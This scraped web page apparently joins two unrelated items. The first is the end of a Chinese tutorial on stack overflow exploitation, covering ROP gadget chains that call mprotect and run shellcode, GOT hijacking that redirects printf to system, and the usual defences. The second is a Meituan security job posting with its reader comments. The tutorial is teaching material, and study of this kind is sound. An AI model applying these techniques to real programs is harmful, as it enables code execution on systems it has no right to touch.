对于上面提到的 mprotect 函数,我们需要将参数传输至寄存器,所以可以用 pop 指令将栈顶数据弹入寄存器。如果在内存中能找到直接可用的数据,也可以用 mov 指令来进行传输,不过写入数据再 pop 要比先搜索再 mov 来的简单,对吧?如果要用 pop 指令来传输调用参数,就需要在溢出数据内包含这些参数,所以上面的溢出数据格式需要一点修改。对于单个 gadget,pop 所传输的数据应该在 gadget 地址之后,如下图所示。

http://p0.qhimg.com/t018cd68853ad4731ff.png

Fig 4. gadget “pop eax; ret;”

在调用 mprotect() 为栈开启可执行权限之后,我们希望执行一段 shellcode,所以要将 shellcode 也加入溢出数据,并将 shellcode 的开始地址加到 int 0x80 的 gadget之后。但确定 shellcode 在内存的确切地址是很困难的事(想起上篇里面艰难试探的过程了吗?),我们可以使用 push esp 这个 gadget(加入可以找到的话)。

http://p4.qhimg.com/t01afc73f4a85bf2fc5.png

Fig 5. gadget “push esp; ret;”

我们假设现在内存中可以找到如下几条指令:

pop eax; ret; # pop stack top into eax
pop ebx; ret; # pop stack top into ebx
pop ecx; ret; # pop stack top into ecx
pop edx; ret; # pop stack top into edx
int 0x80; ret; # system call
push esp; ret; # push address of shellcode
对于所有包含 pop 指令的 gadget,在其地址之后都要添加 pop 的传输数据,同时在所有 gadget 最后包含一段 shellcode,最终溢出数据结构应该变为如下格式。

payload : padding + address of gadget 1 + param for gadget 1 + address of gadget 2 + param for gadget 2 + …… + address of gadget n + shellcode

http://p2.qhimg.com/t0188d16fa8c5a16642.png

Fig 6. 包含多个 gadget 的溢出数据(修改后)

此处为了简单,先假定输入溢出数据不受“x00″字符的影响,所以 payload 可以直接包含 “x7dx00x00x00”(传给 eax 的参数125)。如果希望实现更为真实的操作,可以用多个 gadget 通过运算得到上述参数。比如可以通过下面三条 gadget 来给 eax 传递参数。

pop eax; ret; # pop stack top 0x1111118e into eax
pop ebx; ret; # pop stack top 0x11111111 into ebx
sub eax, ebx; ret; # eax -= ebx
解决完上述问题,我们就可以拼接出溢出数据,输入至程序来为程序调用栈开启可执行权限并执行 shellcode。同时,由于 ROP 方法带来的灵活性,现在不再需要痛苦地试探 shellcode 起始地址了。回顾整个输入数据,只有栈的分段地址需要获取确定地址。如果利用 gadget 读取 ebp 的值再加上某个合适的数值,就可以保证溢出数据都具有可执行权限,这样就不再需要获取确切地址,也就具有了绕过内存随机化的可能。

出于演示的目的,我们假设(简直是钦点)了所有需要的 gadget 的存在。在实际搜索及拼接 gadget 时,并不会像上面一样顺利,有两个方面需要注意。

第一,很多时候并不能一次凑齐全部的理想指令片段,这时就要通过数据地址的偏移、寄存器之间的数据传输等方法来“曲线救国”。举个例子,假设找不到下面这条 gadget

pop ebx; ret;
但假如可以找到下面的 gadget

mov ebx, eax; ret;
我们就可以将它和

pop eax; ret;
组合起来实现将数据传输给 ebx 的功能。上面提到的用多个 gadget 避免输入“x00”也是一个实例应用。

第二,要小心 gadget 是否会破坏前面各个 gadget 已经实现的部分,比如可能修改某个已经写入数值的寄存器。另外,要特别小心 gadget 对 ebp 和 esp 的操作,因为它们的变化会改变返回地址的位置,进而使后续的 gadget 无法执行。

0x40 Hijack GOT

--修改某个被调用函数的地址,让其指向另一个函数

根据上面副标题的说明,要完成的任务包括:在内存中修改某个函数的地址,使其指向另一个函数。为了便于理解,不妨假设修改 printf() 函数的地址使其指向 system(),这样修改之后程序内对 printf() 的调用就执行 system() 函数。要实现这个过程,我们就要弄清楚发生函数调用时程序是如何“找到”被调用函数的。

程序对外部函数的调用需要在生成可执行文件时将外部函数链接到程序中,链接的方式分为静态链接和动态链接。静态链接得到的可执行文件包含外部函数的全部代码,动态链接得到的可执行文件并不包含外部函数的代码,而是在运行时将动态链接库(若干外部函数的集合)加载到内存的某个位置,再在发生调用时去链接库定位所需的函数。

可程序是如何在链接库内定位到所需的函数呢?这个过程用到了两张表--GOT 和 PLT。GOT 全称是全局偏移量表(Global Offset Table),用来存储外部函数在内存的确切地址。GOT 存储在数据段(Data Segment)内,可以在程序运行中被修改。PLT 全称是程序链接表(Procedure Linkage Table),用来存储外部函数的入口点(entry),换言之程序总会到 PLT 这里寻找外部函数的地址。PLT 存储在代码段(Code Segment)内,在运行之前就已经确定并且不会被修改,所以 PLT 并不会知道程序运行时动态链接库被加载的确切位置。那么 PLT 表内存储的入口点是什么呢?就是 GOT 表中对应条目的地址。

http://p9.qhimg.com/t011ec1f61d5c194c77.png

Fig 7. PLT 和 GOT 表

等等,我们好像发现了一个不合理的地方,外部函数的内存地址存储在 GOT 而非 PLT 表内,PLT 存储的入口点又指向 GOT 的对应条目,那么程序为什么选择 PLT 而非 GOT 作为调用的入口点呢?在程序启动时确定所有外部函数的内存地址并写入 GOT 表,之后只使用 GOT 表不是更方便吗?这样的设计是为了程序的运行效率。GOT 表的初始值都指向 PLT 表对应条目中的某个片段,这个片段的作用是调用一个函数地址解析函数。当程序需要调用某个外部函数时,首先到 PLT 表内寻找对应的入口点,跳转到 GOT 表中。如果这是第一次调用这个函数,程序会通过 GOT 表再次跳转回 PLT 表,运行地址解析程序来确定函数的确切地址,并用其覆盖掉 GOT 表的初始值,之后再执行函数调用。当再次调用这个函数时,程序仍然首先通过 PLT 表跳转到 GOT 表,此时 GOT 表已经存有获取函数的内存地址,所以会直接跳转到函数所在地址执行函数。整个过程如下面两张图所示。

http://p6.qhimg.com/t01a6075c25d205a192.png

Fig 8. 第一次调用函数时解析函数地址并存入 GOT 表

http://p2.qhimg.com/t01484eab096efdac1e.png

Fig 9. 再次调用函数时直接读取 GOT 内的地址

上述实现遵循的是一种被称为 LAZY 的设计思想,它将需要完成的操作(解析外部函数的内存地址)留到调用实际发生时才进行,而非在程序一开始运行时就解析出全部函数地址。这个过程也启示了我们如何实现函数的伪装,那就是到 GOT 表中将函数 A 的地址修改为函数 B 的地址。这样在后面所有对函数 A 的调用都会执行函数 B。

那么我们的目标可以分解为如下几部分:确定函数 A 在 GOT 表中的条目位置,确定函数 B 在内存中的地址,将函数 B 的地址写入函数 A 在 GOT 表中的条目。

首先,如何确定函数 A 在 GOT 表中的条目位置?

程序调用函数时是通过 PLT 表跳转到 GOT 表的对应条目,所以可以在函数调用的汇编指令中找到 PLT 表中该函数的入口点位置,从而定位到该函数在 GOT 中的条目。

例如

call 0x08048430 就说明 printf 在 PLT 表中的入口点是在 0x08048430,所以 0x08048430 处存储的就是 GOT 表中 printf 的条目地址。

其次,如何确定函数 B 在内存中的地址?

如果系统开启了内存布局随机化,程序每次运行动态链接库的加载位置都是随机的,就很难通过调试工具直接确定函数的地址。假如函数 B 在栈溢出之前已经被调用过,我们当然可以通过前一个问题的答案来获得地址。但我们心仪的攻击函数往往并不满足被调用过的要求,也就是 GOT 表中并没有其真实的内存地址。幸运的是,函数在动态链接库内的相对位置是固定的,在动态库打包生成时就已经确定。所以假如我们知道了函数 A 的运行时地址(读取 GOT 表内容),也知道函数 A 和函数 B 在动态链接库内的相对位置,就可以推算出函数 B 的运行时地址。

最后,如何实现 GOT 表中数据的修改?

很难找到合适的函数来完成这一任务,不过我们还有强大的 ROP(DIY大法好)。假设我们可以找到以下若干条 gadget(继续钦点),就不难改写 GOT 表中数据,从而实现函数的伪装。ROP 的具体实现请回看上一章,这里就不再赘述了。

pop eax; ret; # printf@plt -> eax
mov ebx [eax]; ret;# printf@got -> ebx
pop ecx; ret; # addr_diff = system – printf -> ecx
add [ebx] ecx; ret; # printf@got += addr_diff
从修改 GOT 表的过程可以看出,这种方法也可以在一定程度上绕过内存随机化。

0x50 防御措施

介绍过几种栈溢出的基础方法,我们再来补充一下操作系统内有哪些常见的措施可以进行防御。首先,通常情况下程序在默认编译设置下都会取消栈上数据的可执行权限,这样简单的 shellcode 溢出攻击就无法实现了。其次,可以在操作系统内开启内存布局随机化(ASLR),这样可以增大确定堆栈内数据和动态库内函数的内存地址的难度。编译程序时还可以设置某些编译选项,使程序在运行时会在函数栈上的 ebp 地址和返回地址之间生成一个特殊的值,这个值被称为“金丝雀”(关于这个典故,请大家自行谷歌)。这样一旦发生了栈溢出并覆盖了返回地址,这个值就会被改写,从而实现函数栈的越界检查。最后值得强调的是,尽可能写出安全可靠的代码,不给栈溢出提供写入越界的可能。

0x60 全篇小结

本文简要介绍了栈溢出这种古老而经典的技术领域,并概括描述了四种入门级的实现方法。至此我们专栏的第一讲就全部结束啦,接下来专栏会陆续放出计算机安全相关的更多文章,内容也会涵盖网络安全、Web渗透、密码学、操作系统,还会有ctf 比赛题解等等……

最后感谢大家的关注,让我们一起学习,共同进步!

References:

《Hacking: Art of Exploitation》

2015 | sploitF-U-N

传送门

【技术分享】手把手教你栈溢出从入门到放弃(上)

本文转载自: Jwizard@长亭科技
如若转载,请注明出处: https://zhuanlan.zhihu.com/p/25892385
安全客 – 有思想的安全新媒体
安全知识

安全客 官方小编 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

三层网络靶场搭建&MSF内网渗透
2019-02-22 14:30:46

Drupal SA-CORE-2019-003 远程命令执行分析
2019-02-22 11:30:15

RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46

Pony Loader窃密木马样本分析
2019-02-22 10:30:17
|发表评论
发表你的评论吧
昵称
大表哥
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
安全客
有思想的安全新媒体
文章
1137
粉丝
52
TA的文章
安全客 RSAC 2019 专题报道
2019-02-22 14:30:51
从RSA 2019创新沙盒“十强”看网络安全技术动向
2019-02-22 14:27:10
RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46
关于境内大量家用路由器DNS被篡改情况通报
2019-02-21 13:35:02
GitHub上发布后即登顶的老司机渗透教程,你的小本本备好了吗?
2019-02-20 19:35:06
输入关键字搜索内容
相关文章
360 | 数字货币钱包APP安全威胁概况
以太坊智能合约安全入门了解一下(下)
对恶意勒索软件Samsam多个变种的深入分析
360 | 数字货币钱包安全白皮书
Json Web Token历险记
揪出底层的幽灵:深挖寄生灵Ⅱ
简单五步教你如何绕过安全狗
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

美团招聘

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
招聘 | 美团安全招人啦!
阅读量 118546 | 评论 15

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-09-11 18:00:04

简历请投递至:zhaoyan17#meituan.com (请注明来自安全客)

美团安全2018秋季招新开始啦~

这次有:数据安全、Web安全、移动安全、IT安全、渗透测试、安全研究、隐私保护合规、产品研发等十余个热门岗位等着你的加入!快来看看吧~

公司简介
2015年10月8日,美团⽹和大众点评⽹宣布达成战略合作,成立一家新公司,为中国的消费者提供包括到店餐饮、外卖配送、酒店旅游、电影等在内的全方位生活服务。

(美团SRC主页:security.meituan.com)

美团点评集团安全部的成员大多在互联网或安全领域拥有成熟经验,不少同学从事过大型互联网公司安全建设,其中也不乏全球化安全运营,百万级IDC规模攻防对抗的经验。这里也不乏CVE挖掘圣手,以及在Blackhat等国际会议的受邀演讲者们。我们的成员中有渗透、有web,有二进制,有内核,有全球合规与隐私保护,有分布式系统开发者,有大数据分析,有算法,还有运营妹子。

我们正在做一套百万级IDC规模和数十万终端移动办公网络的自适应安全体系,包括构建于零信任架构之上,横跨云基础设施(网络层,虚拟化/容器层,Server 软件层(内核态/用户态)、语言虚拟机层(JVM/JS V8)、Web应用层、数据访问层)的基于大数据+机器学习的全自动安全事件感知系统并努力打造业界前沿的内置式安全架构和纵深防御体系。借助美团点评的高速发展和业务复杂度,为业界最佳安全实践的落地以及新兴领域的探索提供安全从业者广阔的平台。

工作地点
北京/上海

投递邮箱
简历请投递至:zhaoyan17#meituan.com (请注明来自安全客)

招聘详情
安全平台架构师/技术专家
目标职级:可参考腾讯T3.2-T4.1,阿里P7- P9

工作地:北京/上海

需求人数:3人

工作经验:5年+

学历要求:本科学历或以上

薪资范围(月):45K+

岗位职责:

1. 参与美团安全平台与安全产品研发及架构设计;

2. 负责安全平台分布式与高可用的架构设计与实现;

3. 对千亿级流量安全产品的性能优化;

4. 对P级别的安全数据挖掘分析。

岗位要求:

1. 有互联网产品的架构开发经验,高于5年工作经验;

2. 精通Java语言,网络开发经验丰富;

3. 擅长使用开源框架,熟悉某个领域内对开源框架,做过选型研究,解读过源码,掌握实现原理;

4. 了解消息中间件、RPC框架、数据层、搜索、性能优化等相关技术经验者优先;

5. 有互联网大规模线上产品相关经验者优先。

安全算法专家/高级安全算法专家
目标职级:可参考腾讯T3.2-T4.1,阿里P7-P9

工作地:北京/上海

需求人数:2人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):45K+

岗位职责:

1. 负责公司安全大数据的分析、建模和算法改进;

2. 根据安全场景选择合适的算法并推动该算法在安全系统里的落地实现,包括但不限于联动HIDS、NIDS、RASP、WAF、终端 sensor等多维度数据,基于UEBA刻画恶意攻击、数据窃取等行为。

岗位要求:

1. 计算机科学、机器学习、人工智能、数据挖掘等相关专业毕业;

2. 扎实的理论和算法基础,对常见数据挖掘、统计和机器学习、深度算法有深刻的理解;

3. 熟悉Hadoop/spark/storm等大数据框架使用,熟悉Caffe/TensorFlow/MXNet/Torch等机器学习及深度学习框架的使用;

4. 有机器学习、人工智能、自然语言处理等领域全球领先企业的工作经验;

5. 具有入侵及威胁检测、数据泄漏、安全风控等相关安全技术的优先。

IoT安全专家
目标职级:可参考腾讯T3.2-T4.1,阿里P7-P9

工作地:北京/上海

需求人数:2人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):35K+

岗位职责:

1. 负责IoT产品的渗透测试及漏洞挖掘,对相关攻防技术进行研究;

2. 负责IoT产品的安全标准制定及安全解决方案设计。

岗位要求:

1. 有三年以上的二进制漏洞挖掘/逆向经验;

2. 熟悉常见的IoT安全技术和安全产品;

3. 对IoT产品相关领域(固件/无线)的攻防对抗技术有深度研究;

4. 有IoT产品安全从业经验优先,有车联网安全经验加分。

云安全工程师
目标职级:可参考腾讯T2.3-T3.2,阿里P6-P7

工作地:北京/上海

需求人数:2人

工作经验:2年+

学历要求:本科学历或以上

薪资范围(月):30K+

岗位职责:

1. 负责系统及应用安全漏洞的挖掘、检测、防御技术研究;

2. 负责跟踪和分析流行安全漏洞及解决方案;

3. 负责安全事件的应急响应。

岗位要求:

1. 熟悉常见系统及web安全攻防技术;

2. 熟悉常见漏洞扫描、渗透测试工具使用,具备一定的安全工具开发经验;

3. 熟练使用python/go等脚本语言,具备一定的数据挖掘能力;

数仓安全架构师
目标职级:可参考腾讯T3.1-T4.1,阿里P6-P9

工作地:北京/上海

需求人数:1人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):50K+

岗位描述:

1. 大数据仓库安全体系的规划建设,包括统一的离线/实时数据安全、数据产品安全、数据交换安全、数据分类分级等;

2. 主导大数据仓库安全产品,包括数据分级工具、敏感数据流转地图、数仓安全审计、数仓加密及行级限控制等。

岗位要求:

1. 具备大型数据仓库架构相关经验,有基于分布式计算平台(Hadoop/Hive)的海量数据研发经验;

2. 熟悉storm/spark streaming/flink中一种或多种计算框架,熟悉底层原理;

3. 具备大型互联网日志采集系统设计或架构经验,并且有基于日志对用户行为进行分析和画像构建的经验;有数据产品经验者优先。

大数据安全运营专家
目标职级:可参考腾讯T2.3-T3.3,阿里P6-P9

工作地:北京/上海

需求人数:2人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):35K+

岗位描述:

1. 负责集团大数据平台安全审计工作,审核识别数据开发、运维中的安全风险;

2. 负责大数据平台安全运营工作,如数据分级管理、数据输出安全审核、数据平台权限管理及优化等;

3. 负责推动风险的处置措施和不符合项的整改措施,独立领导项目组,协调研发、业务、数据平台等部门,提供完整的平台解决方案 。

岗位要求:

1. 有大型数据仓库架构相关经验,有基于分布式计算平台(Hadoop/Hive)的海量数据研发经验优先;

2. 精通SQL;

3. 具有安全运营经验,必须为技术背景。

高级SDL安全工程师/专家
目标职级:可参考腾讯T2.3-T4.1,阿里P6-P9

工作地:北京/上海

需求人数:2人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):35K+

岗位描述:

1. 负责集团数据安全领域内SDL评审;

2. 负责集团内开放平台、商户系统、内部运营系统安全防护方案设计;

3. 站在外部角度从各方面对抗检测蓝军;

4. 主导数据安全蜜罐、SDL自动化、API开放安全、生态安全等领域的产品;

5. 对数据泄漏事件溯源调查并闭环。

岗位要求:

1. 3年以上安全相关工作经验;

2. 熟练使用Python,Java等语言,有安全项目经验;

3. 机器学习算法或数据挖掘实践经验;(加分项)

4.具有开发经验;(加分项)

5.SRC 白帽子或者通用漏洞提报者;(加分项)

6.有数据安全产品经验;(加分项)

风险数据分析专家
目标职级:可参考腾讯T2.3-T4.1,阿里P6-P9

工作地:北京/上海

需求人数:2人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):35K+

岗位描述:

1. 规划安全分析所需的日常监控指标体系,落地执行日常监控的分析报告;

2. 挖掘各内部应用系统的操作风险链路,推动搭建数据安全分析产品体系;

3. 协助审计人员、运营人员完成安全数据分析相关工作。针对运营问题进行深度诊断,发现安全业务运营问题与机会点,辅助制定运营策略,提升运营效率。

岗位要求:

1. 精通SQL,精通任意一种以上数据分析挖掘工具;

2. 熟练掌握常规数据挖掘算法和通用数据挖掘模型,对深度学习和算法有自己的认识和理解;

3. 有2年以上案件分析、风控数据分析或数据挖掘领域相关工作经验;

4. 有DW、ETL经验者优先。

风险数据挖掘专家
目标职级:可参考腾讯T2.3-4.1,阿里P6-P9

需求人数:1人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):45K+

岗位描述:

1. 负责信息安全数据关联使用,支持信息安全的各类产出数据的处理和分析,能配合搭建数据处理的平台或开发平台来做数据处理;

2. 通过数据挖掘相关的风险,包括不限于异常检测算法、时间序列模型和预测模型等实时分析用户和机器的行为,从海量行为中挖掘异常行为;

3. 挖掘各应用的操作风险链路,推动搭建数据安全分析模型体系。

岗位要求:

1. 有信息安全相关领域的技术背景;

2. 有Java 和在Spark环境下做开发处理分析安全数据的经验, 了解 ElasticSearch+Kibana 或其他Hadoop 生态的类似产品。了解实时计算系统(spark streaming)和Hadoop分布式计算体系并有实际编程开发经验优先考虑;

3. 熟悉安全相关数据(例如网络流量数据、行为数据等)的分析和使用;有在大规模分布式数据处理的架构下使用数据的经验,熟悉基础SQL和数据分析算法。

数据安全产品专家
目标职级:可参考腾讯T2.3-T4.1,阿里P6-P9

工作地:北京/上海

需求人数:1人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):35K+

岗位描述:

1. 负责数据安全产品的设计和落地;

2. 与安全团队和业务方紧密沟通,主导数据安全需求、调研及方案的制定;

3. 设计安全研发计划和路线图,并推动产品实施落地;

4. 设计产品的交互界面及流程原型,撰写产品需求文档;

5. 与研发、测试、和业务方协作推动产品按时高质量的发布。

岗位要求:

1. 有数据安全产品实际项目经验,包括加解密系统、权限管理系统、DLP、数字水印、SOC等系统建设;

2. 了解信息安全基本原理,了解主流安全技术;

3. 良好的数据敏感度,了解大数据相关的基础知识;

4. 有较丰富的产品经理或开发经验,包括需求调研分析、产品原型设计、产品运营管理等。

安全案件资深专家
目标职级:可参考腾讯T2.3-T4.1,阿里P6-P9

工作地:北京/上海

需求人数:1人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):40K+

岗位描述:

1. 建立多维度案件信息收集渠道,通过情报处理与数据分析感知预警应急数据安全风险,包括风险变化趋势;

2. 对涉及平台的黑灰产业链深入剖析,还原手法链路,挖掘特征,为打击策略提供支持;

3. 由风险溯源,深度分析案件数据,溯源人员及行为,实现数据安全闭环。

岗位要求:

1.深入了解互联网黑灰产链路及模式,熟悉黑灰产组织、论坛、链路,掌握相应的情报渠道;

2.具有较强的数据侦查能力,数据敏感度高,能够从数据中发现线索;

3.独立思考,逻辑性强,良好的文字表达能力和技术背景。

移动安全工程师/专家
目标职级:可参考腾讯T2.3-T4.1,阿里P6-P9

工作地:北京/上海

需求人数:2人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):30K+

岗位描述:

1. 调研、落地业界成熟移动安全解决方案,并为公司移动安全领域提供技术预研储备;

2. 维护移动安全自研产品,包括但不限于虚拟化加固、安全SDK、自动化审计平台等;

3. 维护公司整体移动业务的安全开发生命周期,包括但不限于优化自动化检出规则、漏洞挖掘、漏洞分析、应急响应等。

岗位要求:

1. 熟悉业界移动端安全产品的技术架构,对代码虚拟化、反调试、反Hook等具备一定造诣;

2. 扎实的移动端研发能力,具备具备较强的逆向分析、攻防对抗、脱壳、反混淆相关能力;

3. 熟练掌握常见通信协议及交互机制,具备较好的加解密方面知识;

4. 熟悉常见的应用安全问题,具备独立审计能力及相关审计经验;

5. 具备较好的逻辑思维能力、沟通能力、解决问题能力、自学能力及团队合作精神。

加分项:

1. 主导或参与移动端防护产品的设计与运营;

2. 熟悉llvm 框架;

3. 拥有资深安全产品开发经验者优先;

4. 各类标准与非标准网络协议的分析经验;

5. 多平台逆向经验,包括但不限于IOS/Android/Windows/Linux/OSX。

应用安全架构师/专家
目标职级:可参考腾讯T2.3-T4.1,阿里P6-P9

工作地:北京/上海

需求人数:1人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):30K+

岗位描述:

1. 负责集团应用的安全开发生命周期(SDLC),包括安全测试、威胁建模、产品架构设计;

2. 熟悉主流应用框架的风险点和安全方案,根据业务需要提供支持;

3. 输出及维护统一的安全解决方案,并能够推动方案的落地。

岗位要求:

1. 3年以上互联网行业产品安全建设经验;

2. 熟悉java/nodejs至少一门语言,能够独自完成源码审计工作,并熟悉spring系列以及主流框架的风险和安全实践;

3. 对可信计算、认证、鉴权、加密、攻击缓解措施、纵深防御等在软件安全设计领域落地有独到理解;

4. 英文阅读能力强;

5. 有框架层漏洞挖掘经验者优先。

IT安全工程师/专家
目标职级:可参考腾讯T2.3-T4.1,阿里P6-P9

工作地:北京/上海

需求人数:1人

工作经验:5年+

学历要求:本科学历或以上

薪资范围(月):30K+

岗位职责:

1.负责美团办公网安全,以及办公网安全规划建设和运维。

岗位要求:

1. 本科以上学历,5年以上互联网公司安全运维经验;

2. 熟悉主流安全技术及防范手段,具备系统漏洞扫描、安全加固、日志分析等相关经验;

3. 熟悉防火墙、IDS/IPS、WAF、防病毒、漏洞扫描、堡垒机、身份认证等安全产品;

4. 熟悉Elasticsearch、Kibana等;

5. 熟悉Windows、Linux系统并且有安全加固经验;

6. 能快速接受和掌握新技术,具备良好的学习能力、沟通能力、协作能力和主动性;

7. 熟悉shell/python/java等语言优先考虑;

8. 有CISSP、CISA、CCSP等证书优先考虑。

安全运营工程师
目标职级:可参考腾讯T2.3-T4.1,阿里P6-P9

工作地:北京/上海

需求人数:1人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):30K+

岗位职责:

1. 负责美团威胁情报搜集、SRC运营和应急响应处理工作;

2. 负责美团内部安全能力的反向验证;

3. 负责美团内部蓝军平台的相关建设。

岗位要求:

1. 本科及以上学历,在同类岗位有3年以上工作经验;

2. 高度的责任心和承压能力;

3. 扎实的计算机基础知识,对主流的web、二进制、移动app漏洞原理及成因、利用过程,黑产攻防手法熟悉,有能力自动挖掘漏洞和复现调试,并给出POC或者验证方式;

4. 熟悉各大威胁情报平台、熟悉行业内活跃白帽子、安全专家的情报发布方式,对新的安全威胁敏感;

5. 熟悉业界一般安全事件主流应对方案,了解一线互联网企业的最佳实践。

高级安全工程师/专家
目标职级:可参考腾讯T2.3-T4.1,阿里P6-P9

工作地:北京/上海

需求人数:1人

工作经验:3年+

学历要求:本科学历或以上

薪资范围(月):30K+

岗位职责:

负责美团安全攻防能力建设,包括但不限于日志/漏洞/后门分析及逆向,安全事件响应调查,安全检测策略和模型的开发设计,安全评估/渗透测试。

岗位要求:

1 .熟悉网络安全攻防技术和工具,熟悉常见的Web/移动APP/系统安全漏洞及原理;

2. 有丰富的应急响应,事件调查经验,熟悉各类安全日志(如WEB访问,操作系统,安全设备等日志);

3. 熟悉Linux/Windows系统原理,并能以Linux/Mac作为工作平台;

4. 熟悉病毒木马,内核Rootkit的原理和行为,并对其做技术分析和逆向;

5. 熟悉至少一种编程语言,如Python,shell,C,Java.GO等;

6. 熟悉业界安全攻防动态,追踪最新安全漏洞,能够分析漏洞原理和实现PoC编写;

7. 能够无障碍阅读英文技术Paper;

8. 至少3年以上工作经验;

9. 热爱安全工作,具备优秀的逻辑思维能力,对解决挑战性问题充满热情,善于解决问题和分析问题。

加分项:

1. 在渗透测试,应急响应,漏洞挖掘,逆向分析,代码审计等安全领域至少有一个方面能力突出;

2. 有安全工具开发经验,编写过漏洞利用POC经验;

3. 有大型互联网企业安全工作经验;

4. 发表过有深度的技术Paper或独立挖掘过知名开源应用/大型厂商高危漏洞经历;

5. 有大型CTF比赛(DEFCON,XCTF,etc)获奖经历;

6. 成功利用技术进行事件调查/追溯攻击者经历;有威胁情报分析,IoC大规模处理经验;有APT攻击和防御经验的均优先。

高级安全工程师/专家
目标职级:可参考腾讯T2.3-T3.3,阿里P6-P8

工作地:北京/上海

需求人数:5人

工作经验:5年+

学历要求:本科学历或以上

薪资范围(月):30K+

岗位职责:

1. 负责集团的信息安全策略、制度、流程、指南的制定、撰写、实施和优化;

2. 负责推进集团的安全解决方案及工具链的落地;

3. 负责集团各类等保、合规、第三方认证、资质等需求的落地。

岗位要求:

1. 熟悉各类安全标准包括但不仅限于ISO2700x,PCI-DSS,NIST,FIPS 140-2,CSA,ITIL等;

2. 熟悉安全工程方法论和各种信息安全模型、架构、体系(P2DR、SDL、IT治理模型、风险管理模型、应急响应过程);

3. 具有良好的沟通协调能力、较强的团队合作精神、优秀的执行能力;

4. 有互联网业务安全设计背景,有业务运营中安全管理或运营工作经验;

5. 良好的文档编写、展示以及跨部门沟通能力。

高级安全工程师/专家
目标职级:可参考腾讯T3.2-T4.1,阿里P7-P9

工作地:北京/上海

需求人数:2人

工作经验:5年+

学历要求:本科学历或以上

薪资范围(月):30K+

岗位职责:

1. 负责集团关键安全解决方案及工具链的落地;

2. 负责推进集团数据安全及隐私保护工作的落地。

岗位要求:

1. 熟悉各类安全标准包括但不仅限于ISO2700x,PCI-DSS,NIST,FIPS 140-2,CSA,ITIL等;

2. 熟悉安全工程方法论和各种信息安全模型、架构、体系(P2DR、SDL、IT治理模型、风险管理模型、应急响应过程);

3. 具有良好的沟通协调能力、较强的团队合作精神、优秀的执行能力;

4. 具有大型互联网方案安全领域的设计能力,有业务运营中安全管理工作经验;

5. 良好的文档编写、展示以及跨部门沟通能力。

福利简介
入职即配MACBOOK pro+4k显示器、加班有餐补、打车报销、团队内部大牛技术分享。

美团安全有话说
美团安全部的成员大多在互联网或安全领域拥有成熟经验,不少同学从事过大型互联网公司安全建设,其中也不乏全球化安全运营,百万级IDC规模攻防对抗的经验。这里也不乏CVE挖掘圣手,以及在Blackhat等国际会议的受邀演讲者们。我们的成员中有渗透、有web,有二进制,有内核,有全球合规与隐私保护,有分布式系统开发者,有大数据分析,有算法,还有运营妹子。

我们正在做一套百万级IDC规模和数十万终端移动办公网络的自适应安全体系,包括构建于零信任架构之上,横跨云基础设施(网络层,虚拟化/容器层,Server 软件层(内核态/用户态)、语言虚拟机层(JVM/JS V8)、Web应用层、数据访问层)的基于大数据+机器学习的全自动安全事件感知系统并努力打造业界前沿的内置式安全架构和纵深防御体系。借助美团点评的高速发展和业务复杂度,为业界最佳安全实践的落地以及新兴领域的探索提供安全从业者广阔的平台。

简历请投:zhaoyan17#meituan.com

商务合作,文章发布请联系 dengjinling@360.cn
招聘 秋招 美团 美团安全

美团安全应急响应中心 SRC 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

三层网络靶场搭建&MSF内网渗透
2019-02-22 14:30:46

Drupal SA-CORE-2019-003 远程命令执行分析
2019-02-22 11:30:15

RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46

Pony Loader窃密木马样本分析
2019-02-22 10:30:17
|发表评论
发表你的评论吧
昵称
妇科圣手
换一个
|评论列表
土司观光团 · 2018-11-03 01:37:26 回复
招实习生吗

Anonymous · 2018-09-19 23:43:05 回复
应届生不敢投、、

Duke · 2018-09-18 19:17:15 回复
借楼: 北京三元桥 急招2名 渗透测试工程师 一年以上相关工作经验 月薪15-30K,13薪+更多福利 欢迎看机会的朋友投递简历:15310692922@163.com 谢谢

A~爱跑 ル · 2018-10-19 08:19:54 回复
有没有别的职位

大表哥 · 2018-09-12 19:01:17 回复
所以说美团是个神秘组织

大表哥 · 2018-09-12 19:01:17 回复
所以说美团是个神秘组织

大表哥 · 2018-09-12 19:01:10 回复
所以说美团是个神秘组织

大表哥 · 2018-09-12 19:01:10 回复
所以说美团是个神秘组织

大表哥 · 2018-09-12 19:01:10 回复
所以说美团是个神秘组织

大表哥 · 2018-09-12 19:01:10 回复
所以说美团是个神秘组织

大表哥 · 2018-09-12 19:01:08 回复
所以说美团是个神秘组织

大表哥 · 2018-09-12 19:01:08 回复
所以说美团是个神秘组织

大表哥 · 2018-09-12 19:01:07 回复
所以说美团是个神秘组织

大表哥 · 2018-09-12 19:01:07 回复
所以说美团是个神秘组织

我不是黑客 · 2018-09-12 14:24:34 回复
岗位分这么细的吗

美团安全应急响应中心
这个人太懒了,签名都懒得写一个
文章
7
粉丝
0
TA的文章
活动 | MTSRC 强势召唤赏金猎人!年终大奖等你来拿!
2018-12-12 17:30:01
【美团招聘】一个让“不平庸才怪”变“怪才不平庸”的机会
2018-11-09 17:10:48
招聘 | 美团安全招人啦!
2018-09-11 18:00:04
